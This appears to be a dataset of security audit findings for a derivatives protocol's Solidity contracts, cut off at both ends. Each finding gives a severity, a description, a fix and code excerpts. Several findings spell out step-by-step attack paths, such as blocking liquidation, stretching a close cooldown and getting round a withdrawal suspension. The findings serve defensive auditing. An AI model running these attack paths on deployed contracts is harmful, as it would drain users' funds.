partyA);\\n```\\n
In most protocols, whether an account is liquidatable is determined on-chain, and this issue will not surface. However, the architecture of Symmetrical protocol relies on off-chain and on-chain components to determine if an account is liquidatable, which can introduce a number of race conditions such as the one mentioned in this report.\\nConsider reviewing the impact of malicious users attempting to increment the nonce in order to block certain actions in the protocols since most functions rely on the fact that the on-chain nonce must be in sync with the signature's nonce and update the architecture/contracts of the protocol accordingly.
PartyA can block their accounts from being liquidated by liquidators. With the ability to liquidate the insolvent PartyA, the unrealized profits of all PartyBs cannot be realized, and thus they will not be able to withdraw the profits.\\nPartyA could also exploit this issue to block their account from being liquidated to:\\nWait for their positions to recover to reduce their losses\\nBuy time to obtain funds from elsewhere to inject into their accounts to bring the account back to a healthy level\\nSince this is a zero-sum game, the above-mentioned create unfairness to PartyB and reduce their profits.\\nThe impact is the same for the blocking of PartyB liquidation.
```\\nFile: LiquidationFacetImpl.sol\\n function liquidatePartyA(address partyA, SingleUpnlSig memory upnlSig) internal {\\n MAStorage.Layout storage maLayout = MAStorage.layout();\\n\\n LibMuon.verifyPartyAUpnl(upnlSig, partyA);\\n int256 availableBalance = LibAccount.partyAAvailableBalanceForLiquidation(\\n upnlSig.upnl,\\n partyA\\n );\\n require(availableBalance < 0, "LiquidationFacet: PartyA is solvent");\\n maLayout.liquidationStatus[partyA] = true;\\n maLayout.liquidationTimestamp[partyA] = upnlSig.timestamp;\\n AccountStorage.layout().liquidators[partyA].push(msg.sender);\\n }\\n```\\n
Liquidation of PartyA will fail due to underflow errors
high
Liquidation of PartyA will fail due to underflow errors. As a result, assets will be stuck, and there will be a loss of assets for the counterparty (the creditor) since they cannot receive the liquidated assets.\\n```\\nFile: LiquidationFacetImpl.sol\\n function liquidatePositionsPartyA(\\n address partyA,\\n uint256[] memory quoteIds\\n ) internal returns (bool) {\\n..SNIP..\\n (bool hasMadeProfit, uint256 amount) = LibQuote.getValueOfQuoteForPartyA(\\n accountLayout.symbolsPrices[partyA][quote.symbolId].price,\\n LibQuote.quoteOpenAmount(quote),\\n quote\\n );\\n..SNIP..\\n if (\\n accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.NORMAL\\n ) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += quote\\n .lockedValues\\n .cva;\\n if (hasMadeProfit) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;\\n } else {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += amount;\\n }\\n } else if (\\n accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.LATE\\n ) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] +=\\n quote.lockedValues.cva -\\n ((quote.lockedValues.cva * accountLayout.liquidationDetails[partyA].deficit) /\\n accountLayout.lockedBalances[partyA].cva);\\n if (hasMadeProfit) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;\\n } else {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += amount;\\n }\\n } else if (\\n accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.OVERDUE\\n ) {\\n if (hasMadeProfit) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;\\n } else {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] +=\\n amount -\\n ((amount * accountLayout.liquidationDetails[partyA].deficit) /\\n uint256(-accountLayout.liquidationDetails[partyA].totalUnrealizedLoss));\\n }\\n }\\n```\\n\\nAssume that at this point, the allocated balance of PartyB (accountLayout.partyBAllocatedBalances[quote.partyB][partyA]) only has 1000 USD.\\nIn Line 152 above, the `getValueOfQuoteForPartyA` function is called to compute the PnL of a position. Assume the position has a huge profit of 3000 USD due to a sudden spike in price. For this particular position, PartyA will profit 3000 USD while PartyB will lose 3000 USD.\\nIn this case, 3000 USD needs to be deducted from PartyB's account. However, when the `accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;` code at Line 170, 182, or 190 gets executed, an underflow error will occur, and the transaction will revert. This is because `partyBAllocatedBalances` is an unsigned integer, and PartyB only has 1000 USD of allocated balance, but the code attempts to deduct 3000 USD.
Consider implementing the following fixes to ensure that the amount to be deducted will never exceed the allocated balance of PartyB to prevent underflow errors from occurring.\\n```\\nif (hasMadeProfit) {\\n// Add the line below\\n amountToDeduct = amount > accountLayout.partyBAllocatedBalances[quote.partyB][partyA] ? accountLayout.partyBAllocatedBalances[quote.partyB][partyA] : amount\\n// Add the line below\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] // Remove the line below\\n= amountToDeduct\\n// Remove the line below\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] // Remove the line below\\n= amount;\\n} else {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] // Add the line below\\n= amount;\\n}\\n```\\n
Liquidation of PartyA will fail. Since liquidation cannot be completed, the assets that are liable to be liquidated cannot be transferred from PartyA (the debtor) to the counterparty (the creditor). Assets will be stuck, and there will be a loss of assets for the counterparty (the creditor) since they cannot receive the liquidated assets.
```\\nFile: LiquidationFacetImpl.sol\\n function liquidatePositionsPartyA(\\n address partyA,\\n uint256[] memory quoteIds\\n ) internal returns (bool) {\\n..SNIP..\\n (bool hasMadeProfit, uint256 amount) = LibQuote.getValueOfQuoteForPartyA(\\n accountLayout.symbolsPrices[partyA][quote.symbolId].price,\\n LibQuote.quoteOpenAmount(quote),\\n quote\\n );\\n..SNIP..\\n if (\\n accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.NORMAL\\n ) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += quote\\n .lockedValues\\n .cva;\\n if (hasMadeProfit) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;\\n } else {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += amount;\\n }\\n } else if (\\n accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.LATE\\n ) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] +=\\n quote.lockedValues.cva -\\n ((quote.lockedValues.cva * accountLayout.liquidationDetails[partyA].deficit) /\\n accountLayout.lockedBalances[partyA].cva);\\n if (hasMadeProfit) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;\\n } else {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += amount;\\n }\\n } else if (\\n accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.OVERDUE\\n ) {\\n if (hasMadeProfit) {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amount;\\n } else {\\n accountLayout.partyBAllocatedBalances[quote.partyB][partyA] +=\\n amount -\\n ((amount * accountLayout.liquidationDetails[partyA].deficit) /\\n uint256(-accountLayout.liquidationDetails[partyA].totalUnrealizedLoss));\\n }\\n }\\n```\\n
Liquidating pending quotes doesn't return trading fee to party A
medium
When a user is liquidated, the trading fees of the pending quotes aren't returned.\\nWhen a pending/locked quote is canceled, the trading fee is sent back to party A, e.g.\\nBut, when a pending quote is liquidated, the trading fee is not used for the liquidation. Instead, the fee collector keeps the funds:\\n```\\n function liquidatePendingPositionsPartyA(address partyA) internal {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n require(\\n MAStorage.layout().liquidationStatus[partyA],\\n "LiquidationFacet: PartyA is solvent"\\n );\\n for (uint256 index = 0; index < quoteLayout.partyAPendingQuotes[partyA].length; index++) {\\n Quote storage quote = quoteLayout.quotes[\\n quoteLayout.partyAPendingQuotes[partyA][index]\\n ];\\n if (\\n (quote.quoteStatus == QuoteStatus.LOCKED ||\\n quote.quoteStatus == QuoteStatus.CANCEL_PENDING) &&\\n quoteLayout.partyBPendingQuotes[quote.partyB][partyA].length > 0\\n ) {\\n delete quoteLayout.partyBPendingQuotes[quote.partyB][partyA];\\n AccountStorage\\n .layout()\\n .partyBPendingLockedBalances[quote.partyB][partyA].makeZero();\\n }\\n quote.quoteStatus = QuoteStatus.LIQUIDATED;\\n quote.modifyTimestamp = block.timestamp;\\n }\\n AccountStorage.layout().pendingLockedBalances[partyA].makeZero();\\n delete quoteLayout.partyAPendingQuotes[partyA];\\n }\\n```\\n\\n```\\n function liquidatePartyB(\\n address partyB,\\n address partyA,\\n SingleUpnlSig memory upnlSig\\n ) internal {\\n // // rest of code\\n uint256[] storage pendingQuotes = quoteLayout.partyAPendingQuotes[partyA];\\n\\n for (uint256 index = 0; index < pendingQuotes.length; ) {\\n Quote storage quote = quoteLayout.quotes[pendingQuotes[index]];\\n if (\\n quote.partyB == partyB &&\\n (quote.quoteStatus == QuoteStatus.LOCKED ||\\n quote.quoteStatus == QuoteStatus.CANCEL_PENDING)\\n ) {\\n accountLayout.pendingLockedBalances[partyA].subQuote(quote);\\n\\n pendingQuotes[index] = pendingQuotes[pendingQuotes.length - 1];\\n pendingQuotes.pop();\\n quote.quoteStatus = QuoteStatus.LIQUIDATED;\\n quote.modifyTimestamp = block.timestamp;\\n } else {\\n index++;\\n }\\n }\\n```\\n\\nThese funds should be used to cover the liquidation. Since no trade has been executed, the fee collector shouldn't earn anything.
return the funds to party A. If party A is being liquidated, use the funds to cover the liquidation. Otherwise, party A keeps the funds.
Liquidation doesn't use paid trading fees to cover outstanding balances. Instead, the funds are kept by the fee collector.
```\\n function liquidatePendingPositionsPartyA(address partyA) internal {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n require(\\n MAStorage.layout().liquidationStatus[partyA],\\n "LiquidationFacet: PartyA is solvent"\\n );\\n for (uint256 index = 0; index < quoteLayout.partyAPendingQuotes[partyA].length; index++) {\\n Quote storage quote = quoteLayout.quotes[\\n quoteLayout.partyAPendingQuotes[partyA][index]\\n ];\\n if (\\n (quote.quoteStatus == QuoteStatus.LOCKED ||\\n quote.quoteStatus == QuoteStatus.CANCEL_PENDING) &&\\n quoteLayout.partyBPendingQuotes[quote.partyB][partyA].length > 0\\n ) {\\n delete quoteLayout.partyBPendingQuotes[quote.partyB][partyA];\\n AccountStorage\\n .layout()\\n .partyBPendingLockedBalances[quote.partyB][partyA].makeZero();\\n }\\n quote.quoteStatus = QuoteStatus.LIQUIDATED;\\n quote.modifyTimestamp = block.timestamp;\\n }\\n AccountStorage.layout().pendingLockedBalances[partyA].makeZero();\\n delete quoteLayout.partyAPendingQuotes[partyA];\\n }\\n```\\n
In case if trading fee will be changed then refund will be done with wrong amount
medium
In case if trading fee will be changed then refund will be done with wrong amount\\nWhen user creates quote, then he pays trading fees. Amount that should be paid is calculated inside `LibQuote.getTradingFee` function.\\n```\\n function getTradingFee(uint256 quoteId) internal view returns (uint256 fee) {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n Quote storage quote = quoteLayout.quotes[quoteId];\\n Symbol storage symbol = SymbolStorage.layout().symbols[quote.symbolId];\\n if (quote.orderType == OrderType.LIMIT) {\\n fee =\\n (LibQuote.quoteOpenAmount(quote) * quote.requestedOpenPrice * symbol.tradingFee) /\\n 1e36;\\n } else {\\n fee = (LibQuote.quoteOpenAmount(quote) * quote.marketPrice * symbol.tradingFee) / 1e36;\\n }\\n }\\n```\\n\\nAs you can see `symbol.tradingFee` is used to determine fee amount. This fee can be changed any time.\\nWhen order is canceled, then fee should be returned to user. This function also uses `LibQuote.getTradingFee` function to calculate fee to return.\\nSo in case if order was created before fee changes, then returned amount will be not same, when it is canceled after fee changes.
You can store fee paid by user inside quote struct. And when canceled return that amount.
User or protocol losses portion of funds.
```\\n function getTradingFee(uint256 quoteId) internal view returns (uint256 fee) {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n Quote storage quote = quoteLayout.quotes[quoteId];\\n Symbol storage symbol = SymbolStorage.layout().symbols[quote.symbolId];\\n if (quote.orderType == OrderType.LIMIT) {\\n fee =\\n (LibQuote.quoteOpenAmount(quote) * quote.requestedOpenPrice * symbol.tradingFee) /\\n 1e36;\\n } else {\\n fee = (LibQuote.quoteOpenAmount(quote) * quote.marketPrice * symbol.tradingFee) / 1e36;\\n }\\n }\\n```\\n
lockQuote() increaseNonce parameters do not work properly
medium
in `lockQuote()` will execute `partyBNonces[quote.partyB][quote.partyA] += 1` if increaseNonce == true But this operation is executed before setting `quote.partyB`, resulting in actually setting `partyBNonces[address(0)][quote.partyA] += 1`\\nin `lockQuote()` , when execute `partyBNonces[quote.partyB][quote.partyA] += 1` , `quote.paryB` is address(0)\\n```\\n function lockQuote(uint256 quoteId, SingleUpnlSig memory upnlSig, bool increaseNonce) internal {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n\\n Quote storage quote = quoteLayout.quotes[quoteId];\\n LibMuon.verifyPartyBUpnl(upnlSig, msg.sender, quote.partyA);\\n checkPartyBValidationToLockQuote(quoteId, upnlSig.upnl);\\n if (increaseNonce) {\\n accountLayout.partyBNonces[quote.partyB][quote.partyA] += 1;\\n }\\n quote.modifyTimestamp = block.timestamp;\\n quote.quoteStatus = QuoteStatus.LOCKED;\\n quote.partyB = msg.sender;\\n // lock funds for partyB\\n accountLayout.partyBPendingLockedBalances[msg.sender][quote.partyA].addQuote(quote);\\n quoteLayout.partyBPendingQuotes[msg.sender][quote.partyA].push(quote.id);\\n }\\n```\\n\\nactually setting `partyBNonces[address(0)][quote.partyA] += 1`
```\\n function lockQuote(uint256 quoteId, SingleUpnlSig memory upnlSig, bool increaseNonce) internal {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n\\n Quote storage quote = quoteLayout.quotes[quoteId];\\n LibMuon.verifyPartyBUpnl(upnlSig, msg.sender, quote.partyA);\\n checkPartyBValidationToLockQuote(quoteId, upnlSig.upnl);\\n if (increaseNonce) {\\n- accountLayout.partyBNonces[quote.partyB][quote.partyA] += 1;\\n+ accountLayout.partyBNonces[msg.sender][quote.partyA] += 1;\\n }\\n quote.modifyTimestamp = block.timestamp;\\n quote.quoteStatus = QuoteStatus.LOCKED;\\n quote.partyB = msg.sender;\\n // lock funds for partyB\\n accountLayout.partyBPendingLockedBalances[msg.sender][quote.partyA].addQuote(quote);\\n quoteLayout.partyBPendingQuotes[msg.sender][quote.partyA].push(quote.id);\\n }\\n```\\n
increaseNonce parameters do not work properly
```\\n function lockQuote(uint256 quoteId, SingleUpnlSig memory upnlSig, bool increaseNonce) internal {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n\\n Quote storage quote = quoteLayout.quotes[quoteId];\\n LibMuon.verifyPartyBUpnl(upnlSig, msg.sender, quote.partyA);\\n checkPartyBValidationToLockQuote(quoteId, upnlSig.upnl);\\n if (increaseNonce) {\\n accountLayout.partyBNonces[quote.partyB][quote.partyA] += 1;\\n }\\n quote.modifyTimestamp = block.timestamp;\\n quote.quoteStatus = QuoteStatus.LOCKED;\\n quote.partyB = msg.sender;\\n // lock funds for partyB\\n accountLayout.partyBPendingLockedBalances[msg.sender][quote.partyA].addQuote(quote);\\n quoteLayout.partyBPendingQuotes[msg.sender][quote.partyA].push(quote.id);\\n }\\n```\\n
Wrong calculation of solvency after request to close and after close position
medium
`isSolventAfterClosePosition` and `isSolventAfterRequestToClosePosition` do not account for the extra profit that the user would get from closing the position.\\nWhen a party A creates a request for closing a position, the `isSolventAfterRequestToClosePosition` function is called to check if the user is solvent after the request. In the same way, when someone tries to close a position, the `isSolventAfterClosePosition` function is called to check if both party A and party B are solvent after closing the position.\\nBoth functions calculate the available balance for party A and party B, and revert if it is lower than zero. After that, the function accounts for the the extra loss that the user would get as a result of the difference between `closePrice` and `upnlSig.price`, and checks if the user is solvent after that.\\nThe problem is that the function does not account for the opposite case, that is the case where the user would get an extra profit as a result of the difference between `closePrice` and `upnlSig.price`. This means that the user would not be able to close the position, even if at the end of the transaction they would be solvent.\\nProof of Concept\\nThere is an open position with:\\nPosition type: LONG\\nQuantity: 1\\nLocked: 50\\nOpened price: 100\\nCurrent price: 110\\nQuote position uPnL Party A: 10\\nParty B calls `fillCloseRequest` with:\\nClosed price: 120\\nIn `isSolventAfterClosePosition` the following is calculated:\\n```\\npartyAAvailableBalance = freeBalance + upnl + unlockedAmount = -5\\n```\\n\\nAnd it reverts on:\\n```\\nrequire(\\n partyBAvailableBalance >= 0 && partyAAvailableBalance >= 0,\\n "LibSolvency: Available balance is lower than zero"\\n);\\n```\\n\\nHowever, the extra profit for `closedPrice - upnlSig.price = 120 - 110 = 10` is not accounted for in the `partyAAvailableBalance` calculation, that should be `partyAAvailableBalance = - 5 + 10 = 5`. Party A would be solvent after closing the position, but the transaction reverts.
Add the extra profit to the `partyAAvailableBalance` calculation.
In a situation where the difference between the closed price and the current price will make the user solvent, users will not be able to close their positions, even if at the end of the transaction they would be solvent.
```\\npartyAAvailableBalance = freeBalance + upnl + unlockedAmount = -5\\n```\\n
Malicious PartyB can block unfavorable close position requests causing a loss of profits for PartyB
medium
Malicious PartyB can block close position requests that are unfavorable toward them by intentionally choose not to fulfill the close request and continuously prolonging the force close position cooldown period, causing a loss of profits for PartyA.\\nIf PartyA invokes the `requestToClosePosition` function for an open quote, the quote's status will transition from `QuoteStatus.OPEN` to `QuoteStatus.CLOSE_PENDING`. In case PartyB fails to fulfill the close request (fillCloseRequest) during the cooldown period (maLayout.forceCloseCooldown), PartyA has the option to forcibly close the quote by utilizing the `forceClosePosition` function.\\n```\\nFile: PartyAFacetImpl.sol\\n function forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n MAStorage.Layout storage maLayout = MAStorage.layout();\\n Quote storage quote = QuoteStorage.layout().quotes[quoteId];\\n\\n uint256 filledAmount = quote.quantityToClose;\\n require(quote.quoteStatus == QuoteStatus.CLOSE_PENDING, "PartyAFacet: Invalid state");\\n require(\\n block.timestamp > quote.modifyTimestamp + maLayout.forceCloseCooldown,\\n "PartyAFacet: Cooldown not reached"\\n );\\n..SNIP..\\n```\\n\\nNevertheless, malicious PartyB can intentionally choose not to fulfill the close request and can continuously prolong the `quote.modifyTimestamp`, thereby preventing PartyA from ever being able to activate the `forceClosePosition` function.\\nMalicious PartyB could extend the `quote.modifyTimestamp` via the following steps:\\nLine 282 of the `fillCloseRequest` show that it is possible to partially fill a close request. As such, calls the `fillCloseRequest` function with the minimum possible `filledAmount` for the purpose of triggering the `LibQuote.closeQuote` function at Line 292.\\n```\\nFile: PartyBFacetImpl.sol\\n function fillCloseRequest(\\n uint256 quoteId,\\n uint256 filledAmount,\\n uint256 closedPrice,\\n PairUpnlAndPriceSig memory upnlSig\\n ) internal {\\n..SNIP..\\n if (quote.orderType == OrderType.LIMIT) {\\n require(quote.quantityToClose >= filledAmount, "PartyBFacet: Invalid filledAmount");\\n } else {\\n require(quote.quantityToClose == filledAmount, "PartyBFacet: Invalid filledAmount");\\n }\\n..SNIP..\\n LibQuote.closeQuote(quote, filledAmount, closedPrice);\\n }\\n```\\n\\nOnce the `LibQuote.closeQuote` function is triggered, Line 153 will update the `quote.modifyTimestamp` to the current timestamp, which effectively extends the cooldown period that PartyA has to wait before allowing to forcefully close the position.\\n```\\nFile: LibQuote.sol\\n function closeQuote(Quote storage quote, uint256 filledAmount, uint256 closedPrice) internal {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n\\n quote.modifyTimestamp = block.timestamp;\\n..SNIP..\\n```\\n
The `quote.modifyTimestamp` is updated to the current timestamp in many functions, including the `closeQuote` function, as shown in the above example. A quick search within the codebase shows that there are around 17 functions that update the `quote.modifyTimestamp` to the current timestamp when triggered. Each of these functions serves as a potential attack vector for malicious PartyB to extend the `quote.modifyTimestamp` and deny users from forcefully closing their positions\\nIt is recommended not to use the `quote.modifyTimestamp` for the purpose of determining if the force close position cooldown has reached, as this variable has been used in many other places. Instead, consider creating a new variable, such as `quote.requestClosePositionTimestamp` solely for the purpose of computing the force cancel quote cooldown.\\nThe following fixes will prevent malicious PartyB from extending the cooldown period since the `quote.requestClosePositionTimestamp` variable is only used solely for the purpose of determining if the force close position cooldown has reached.\\n```\\nfunction requestToClosePosition(\\n uint256 quoteId,\\n uint256 closePrice,\\n uint256 quantityToClose,\\n OrderType orderType,\\n uint256 deadline,\\n SingleUpnlAndPriceSig memory upnlSig\\n) internal {\\n..SNIP..\\n accountLayout.partyANonces[quote.partyA] // Add the line below\\n= 1;\\n quote.modifyTimestamp = block.timestamp;\\n// Add the line below\\n quote.requestCancelQuoteTimestamp = block.timestamp;\\n```\\n\\n```\\nfunction forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n MAStorage.Layout storage maLayout = MAStorage.layout();\\n Quote storage quote = QuoteStorage.layout().quotes[quoteId];\\n\\n uint256 filledAmount = quote.quantityToClose;\\n require(quote.quoteStatus == QuoteStatus.CLOSE_PENDING, "PartyAFacet: Invalid state");\\n require(\\n// Remove the line below\\n block.timestamp > quote.modifyTimestamp // Add the line below\\n maLayout.forceCloseCooldown,\\n// Add the line below\\n block.timestamp > quote.requestCancelQuoteTimestamp // Add the line below\\n maLayout.forceCloseCooldown,\\n "PartyAFacet: Cooldown not reached"\\n );\\n```\\n\\nIn addition, review the `forceClosePosition` function and applied the same fix to it since it is vulnerable to the same issue, but with a different impact.
PartyB has the ability to deny users from forcefully closing their positions by exploiting the issue. Malicious PartyB could abuse this by blocking PartyA from closing their positions against them when the price is unfavorable toward them. For instance, when PartyA is winning the game and decided to close some of its positions against PartyB, PartyB could block the close position request to deny PartyA of their profits and prevent themselves from losing the game.
```\\nFile: PartyAFacetImpl.sol\\n function forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n MAStorage.Layout storage maLayout = MAStorage.layout();\\n Quote storage quote = QuoteStorage.layout().quotes[quoteId];\\n\\n uint256 filledAmount = quote.quantityToClose;\\n require(quote.quoteStatus == QuoteStatus.CLOSE_PENDING, "PartyAFacet: Invalid state");\\n require(\\n block.timestamp > quote.modifyTimestamp + maLayout.forceCloseCooldown,\\n "PartyAFacet: Cooldown not reached"\\n );\\n..SNIP..\\n```\\n
Users might immediately be liquidated after position opening leading to a loss of CVA and Liquidation fee
medium
The insolvency check (isSolventAfterOpenPosition) within the `openPosition` function does not consider the locked balance adjustment, causing the user account to become insolvent immediately after the position is opened. As a result, the affected users will lose their CVA and liquidation fee locked in their accounts.\\n```\\nFile: PartyBFacetImpl.sol\\n function openPosition(\\n uint256 quoteId,\\n uint256 filledAmount,\\n uint256 openedPrice,\\n PairUpnlAndPriceSig memory upnlSig\\n ) internal returns (uint256 currentId) {\\n..SNIP..\\n LibSolvency.isSolventAfterOpenPosition(quoteId, filledAmount, upnlSig);\\n\\n accountLayout.partyANonces[quote.partyA] += 1;\\n accountLayout.partyBNonces[quote.partyB][quote.partyA] += 1;\\n quote.modifyTimestamp = block.timestamp;\\n\\n LibQuote.removeFromPendingQuotes(quote);\\n\\n if (quote.quantity == filledAmount) {\\n accountLayout.pendingLockedBalances[quote.partyA].subQuote(quote);\\n accountLayout.partyBPendingLockedBalances[quote.partyB][quote.partyA].subQuote(quote);\\n\\n if (quote.orderType == OrderType.LIMIT) {\\n quote.lockedValues.mul(openedPrice).div(quote.requestedOpenPrice);\\n }\\n accountLayout.lockedBalances[quote.partyA].addQuote(quote);\\n accountLayout.partyBLockedBalances[quote.partyB][quote.partyA].addQuote(quote);\\n }\\n```\\n\\nThe leverage of a position is computed based on the following formula.\\n$leverage = \\frac{price \\times quantity}{lockedValues.total()}$\\nWhen opening a position, there is a possibility that the leverage might change because the locked values and quantity are fixed, but it could get filled with a different market price compared to the one at the moment the user requested. Thus, the purpose of Line 163 above is to adjust the locked values to maintain a fixed leverage. After the adjustment, the locked value might be higher or lower.\\nThe issue is that the insolvency check at Line 150 is performed before the adjustment is made.\\nAssume that the adjustment in Line 163 cause the locked values to increase. The insolvency check (isSolventAfterOpenPosition) at Line 150 will be performed with old or unadjusted locked values that are smaller than expected. Since smaller locked values mean that there will be more available balance, this might cause the system to miscalculate that an account is not liquidatable, but in fact, it is actually liquidatable once the adjusted increased locked value is taken into consideration.\\nIn this case, once the position is opened, the user account is immediately underwater and can be liquidated.\\nThe issue will occur in the "complete fill" path and "partial fill" path since both paths adjust the locked values to maintain a fixed leverage. The "complete fill" path adjusts the locked values at Line 185
Consider performing the insolvency check with the updated adjusted locked values.
Users might become liquidatable immediately after opening a position due to an incorrect insolvency check within the `openPosition`, which erroneously reports that the account will still be healthy after opening the position, while in reality, it is not. As a result, the affected users will lose their CVA and liquidation fee locked in their accounts.
```\\nFile: PartyBFacetImpl.sol\\n function openPosition(\\n uint256 quoteId,\\n uint256 filledAmount,\\n uint256 openedPrice,\\n PairUpnlAndPriceSig memory upnlSig\\n ) internal returns (uint256 currentId) {\\n..SNIP..\\n LibSolvency.isSolventAfterOpenPosition(quoteId, filledAmount, upnlSig);\\n\\n accountLayout.partyANonces[quote.partyA] += 1;\\n accountLayout.partyBNonces[quote.partyB][quote.partyA] += 1;\\n quote.modifyTimestamp = block.timestamp;\\n\\n LibQuote.removeFromPendingQuotes(quote);\\n\\n if (quote.quantity == filledAmount) {\\n accountLayout.pendingLockedBalances[quote.partyA].subQuote(quote);\\n accountLayout.partyBPendingLockedBalances[quote.partyB][quote.partyA].subQuote(quote);\\n\\n if (quote.orderType == OrderType.LIMIT) {\\n quote.lockedValues.mul(openedPrice).div(quote.requestedOpenPrice);\\n }\\n accountLayout.lockedBalances[quote.partyA].addQuote(quote);\\n accountLayout.partyBLockedBalances[quote.partyB][quote.partyA].addQuote(quote);\\n }\\n```\\n
Suspended PartyBs can bypass the withdrawal restriction by exploiting `fillCloseRequest`
medium
Suspended PartyBs can bypass the withdrawal restriction by exploiting `fillCloseRequest` function. Thus, an attacker can transfer the ill-gotten gains out of the protocol, leading to a loss of assets for the protocol and its users.\\n```\\nFile: AccountFacet.sol\\n function withdraw(uint256 amount) external whenNotAccountingPaused notSuspended(msg.sender) {\\n AccountFacetImpl.withdraw(msg.sender, amount);\\n emit Withdraw(msg.sender, msg.sender, amount);\\n }\\n\\n function withdrawTo(\\n address user,\\n uint256 amount\\n ) external whenNotAccountingPaused notSuspended(msg.sender) {\\n AccountFacetImpl.withdraw(user, amount);\\n emit Withdraw(msg.sender, user, amount);\\n }\\n```\\n\\nWhen a user is suspended, they are not allowed to call any of the `withdraw` functions (withdraw and withdrawTo) to `withdraw` funds from their account. These withdrawal functions are guarded by the `notSuspended` modifier that will revert if the user's address is suspended.\\n```\\nFile: Accessibility.sol\\n modifier notSuspended(address user) {\\n require(\\n !AccountStorage.layout().suspendedAddresses[user],\\n "Accessibility: Sender is Suspended"\\n );\\n _;\\n }\\n```\\n\\nHowever, suspected PartyBs can bypass this restriction by exploiting the `fillCloseRequest` function to transfer the assets out of the protocol. Following describe the proof-of-concept:\\nAnyone can be a PartyA within the protocol. Suspended PartyBs use one of their wallet addresses to operate as a PartyA.\\nUse the PartyA to create a new position with an unfavorable price that will immediately result in a significant loss for any PartyB who takes on the position. The `partyBsWhiteList` of the new position is set to PartyB address only to prevent some other PartyB from taking on this position.\\nOnce PartyB takes on the position, PartyB will immediately incur a significant loss, while PartyA will enjoy a significant gain due to the zero-sum nature of this game.\\nPartyA requested to close its position to lock the profits and PartyB will fill the close request.\\nPartyA calls the deallocate and withdraw functions to move the assets/gains out of the protocol.
Add the `notSuspended` modifier to the `openPosition` and `fillCloseRequest` functions to block the above-described attack path.\\n```\\nfunction fillCloseRequest(\\n uint256 quoteId,\\n uint256 filledAmount,\\n uint256 closedPrice,\\n PairUpnlAndPriceSig memory upnlSig\\n// Remove the line below\\n ) external whenNotPartyBActionsPaused onlyPartyBOfQuote(quoteId) notLiquidated(quoteId) {\\n// Add the line below\\n ) external whenNotPartyBActionsPaused onlyPartyBOfQuote(quoteId) notLiquidated(quoteId) notSuspended(msg.sender) {\\n ..SNIP..\\n}\\n```\\n\\n```\\nfunction openPosition(\\n uint256 quoteId,\\n uint256 filledAmount,\\n uint256 openedPrice,\\n PairUpnlAndPriceSig memory upnlSig\\n// Remove the line below\\n ) external whenNotPartyBActionsPaused onlyPartyBOfQuote(quoteId) notLiquidated(quoteId) {\\n// Add the line below\\n ) external whenNotPartyBActionsPaused onlyPartyBOfQuote(quoteId) notLiquidated(quoteId) notSuspended(msg.sender) {\\n ..SNIP..\\n}\\n```\\n
In the event of an attack, the protocol will suspend the malicious account and prevent it from transferring ill-gotten gains out of the protocol. However, since this restriction can be bypassed, the attacker can transfer the ill-gotten gains out of the protocol, leading to a loss of assets for the protocol and its users.
```\\nFile: AccountFacet.sol\\n function withdraw(uint256 amount) external whenNotAccountingPaused notSuspended(msg.sender) {\\n AccountFacetImpl.withdraw(msg.sender, amount);\\n emit Withdraw(msg.sender, msg.sender, amount);\\n }\\n\\n function withdrawTo(\\n address user,\\n uint256 amount\\n ) external whenNotAccountingPaused notSuspended(msg.sender) {\\n AccountFacetImpl.withdraw(user, amount);\\n emit Withdraw(msg.sender, user, amount);\\n }\\n```\\n
Imbalanced approach of distributing the liquidation fee within `setSymbolsPrice` function
medium
